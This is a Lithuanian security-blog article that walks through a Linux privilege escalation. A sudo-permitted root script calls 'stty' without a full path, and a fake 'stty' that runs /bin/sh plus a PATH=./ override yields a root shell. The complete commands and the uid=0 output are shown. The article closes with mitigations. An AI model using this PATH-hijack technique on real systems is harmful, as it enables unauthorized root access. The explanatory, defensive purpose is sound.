Aplinkos kintamųjų išnaudojimas
Kęstas Gudinavičius, 2007-12-22 23:00:00

Patekus į sistemą paprasto vartotojo privilegijomis, kitas įsilaužėlio žingsnis yra tas privilegijas pasikelti. Pavyzdžiui, Linux operacinėje sistemoje įsilaužėlis nustatęs branduolio versiją, ieško tinkamo išnaudojimo kodo viešai prieinamuose archyvuose, jį sukompiliuoja, įvykdo ir gauna „root“ vartotojo privilegijas, tačiau ne visada įsilaužėliui nusišypso sėkmė, vis rečiau viešinami išnaudojimo kodai, kartais netinka sugrįžimo adresai, įdiegtas branduolio pataisymas ar kitos papildomos apsaugos priemonės, todėl tenka ieškoti alternatyvaus kelio.

Unix tipo sistemų apvalkalai (angl. Shell) yra komandų interpretatoriai, turintys plačias programavimo galimybes, kurios palengvina sistemos administratorių kasdienines užduotis, tokias kaip vartotojų kūrimas, atsarginių kopijų darymas ar privilegijų paskirstymas, todėl reikia įsidėmėti, jog netinkamai panaudoti ar klaidingai suprogramuoti apvalkalo scenarijai gali tapti rimta saugumo spraga. Trumpai apžvelgsime įsilaužimo scenarijų, kuriame išnaudojami aplinkos kintamieji.

Įsilaužėlis sukompromituoja vartotojo paskyrą didelės organizacijos Linux failų serveryje, kuriame veikia Samba. Jo tikslas yra visiška serverio kontrolė, tačiau tam jis neturi reikiamų privilegijų. Peržiūrėdamas vartotojo „.bash_history“ failą, įsilaužėlis pastebi kelis įdomius kreipinius į programą „sudo“. Sistemos administratorius suteikė vartotojui teisę vykdyti „change_password.sh“ scenarijų „root“ vartotojo privilegijomis.

cyber@sec:~$ sudo -l
User cyber may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/change_password.sh
cyber@sec:~$

Scenarijaus iškarpa:

#!/bin/sh

if [ -z ”$1” ]; then
 echo ”Usage: $0 username”
 exit 1
fi

echo ”Changing password for user $1”

PASSWORD1=””
PASSWORD2=”X”

while [ ”$PASSWORD1” != ”$PASSWORD2” ]; do
       while [ -z ”$PASSWORD1” ]; do
                echo -n ”New password:”
                stty -echo
                read PASSWORD1
                stty echo
                echo
                if [ -z ”$PASSWORD1” ]; then
                        echo ”Empty password!”
                fi
       done

       echo -n ”Re-enter new password:”
       stty -echo
       read PASSWORD2
       echo
       stty echo
       if [ ”$PASSWORD1” != ”$PASSWORD2” ]; then
                echo ”Passwords don’t match!”
                PASSWORD1=””
                PASSWORD2=”X”
       fi
done

# <...>

echo ”Password changed”
exit 0

Failo „change_password.sh“ saugumo atributai neleido įsilaužėliui tiesiog modifikuoti scenarijų ir taip gauti norimas privilegijas, todėl jis nuodugniai tyrinėjo scenarijų, tikėdamasis rasti pažeidžiamumą. Įsilaužėlio dėmesį patraukė „stty“ programa, kadangi ji vienintelė buvo kviečiama reliatyviai, t.y. nebuvo nurodytas programos kelias. Daugumoje komandų interpretatorių už programų paieškos kelią yra atsakingas aplinkos kintamasis „PATH“, kuriuo įsilaužėlis ir nutarė pasinaudoti. Einamojoje direktorijoje sukūrus „stty“ scenarijų, tinkamai nustačius aplinkos kintamąjį „PATH“ ir paleidus „sudo“ programą, buvo iškvietas komandų interpretatorius privilegijuoto vartotojo („root“) teisėmis.

cyber@sec:~$ cat > stty
#!/bin/sh
exec /bin/sh
cyber@sec:~$ chmod 755 stty
cyber@sec:~$ env PATH=./ /usr/bin/sudo /usr/sbin/change_password.sh zoo
Changing password for user zoo
New password:sh-3.00# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
sh-3.00#

Tai tik vienas aplinkos kintamųjų išnaudojimo pavyzdys. Nuo šiame įsilaužimo scenarijuje pateiktos atakos galima lengvai apsisaugoti, naudojant absoliučius kreipinius į programas arba nustatant aplinkos kintamąjį „PATH“ kiekviename scenarijuje.


Komentarai

Vardas:
Komentaras:

Copyright © 2005 - 2010, UAB „Critical Security“